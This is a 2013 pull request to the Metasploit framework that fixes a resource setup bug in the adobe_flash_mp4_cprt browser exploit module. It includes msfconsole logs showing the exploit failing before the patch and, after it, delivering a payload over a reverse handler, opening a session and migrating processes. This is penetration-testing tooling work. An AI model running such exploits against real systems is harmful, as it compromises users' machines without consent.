rapid7/metasploit-framework — pull request #1633 by neinwechter (2013-03-22 23:41:48+00:00)
Title: Fix add_resource call in adobe_flash_mp4_cprt (RM#7108)

Fixes an issue preventing get_resource from being called in adobe_flash_mp4_cprt. With this error in place, successful exploitation is impossible as the static page/resource required to deliver the payload is not set up.

Relates to Redmine bug #7108:
http://dev.metasploit.com/redmine/issues/7108

The idea was to ensure the resource is setup before any call to the on_request_uri function was able to take place and then resolve any errors silently if the module attempted to create the resource again, as those errors can be safely ignored in this instance.

Testing consisted of attempting to exploit a known vulnerable system while using wireshark to observe 404 errors for the missing resource. Once succesfull, I additionally attempted multiple connect/exploits from differing machines to make sure the resource remained open and multiple machines could be exploited and handled.

**Before Patch:**
msf > use exploit/windows/browser/adobe_flash_mp4_cprt
msf exploit(adobe_flash_mp4_cprt) > set URIPATH /test
URIPATH => /test
msf exploit(adobe_flash_mp4_cprt) > exploit
[*] Exploit running as background job.
msf exploit(adobe_flash_mp4_cprt) >
[*] Started reverse handler on 192.168.1.135:4444
[*] Using URL: http://0.0.0.0:8080/test
[*] Local IP: http://192.168.1.135:8080/test
[*] Server started.
[*] 192.168.1.135 adobe_flash_mp4_cprt - Client requesting: /test
[*] 192.168.1.135 adobe_flash_mp4_cprt - Sending html
[*] 192.168.1.135 adobe_flash_mp4_cprt - Client requesting: /test/hfn.swf
[*] 192.168.1.135 adobe_flash_mp4_cprt - Sending Exploit SWF
[*] 192.168.1.135 adobe_flash_mp4_cprt - Client requesting: /test.mp4
[*] 192.168.1.135 adobe_flash_mp4_cprt - Sending MP4...

**404 return on /test.mp4 in network captures**

**After Patch:**
msf > use exploit/windows/browser/adobe_flash_mp4_cprt
msf exploit(adobe_flash_mp4_cprt) > set URIPATH /test
URIPATH => /test
msf exploit(adobe_flash_mp4_cprt) > exploit
[*] Exploit running as background job.
msf exploit(adobe_flash_mp4_cprt) >
[*] Started reverse handler on 192.168.1.135:4444
[*] Using URL: http://0.0.0.0:8080/test
[*] Local IP: http://192.168.1.135:8080/test
[*] Server started.
[*] 192.168.1.135 adobe_flash_mp4_cprt - Client requesting: /test
[*] 192.168.1.135 adobe_flash_mp4_cprt - Sending html
[*] 192.168.1.135 adobe_flash_mp4_cprt - Client requesting: /test/iDoGj.swf
[*] 192.168.1.135 adobe_flash_mp4_cprt - Sending Exploit SWF
[*] 192.168.1.135 adobe_flash_mp4_cprt - Client requesting: /test.mp4
[*] 192.168.1.135 adobe_flash_mp4_cprt - Sending MP4...
[*] Sending stage (752128 bytes) to 192.168.1.135
[*] Session ID 1 (192.168.1.135:4444 -> 192.168.1.135:55952) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (2608)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2968
[+] Successfully migrated to process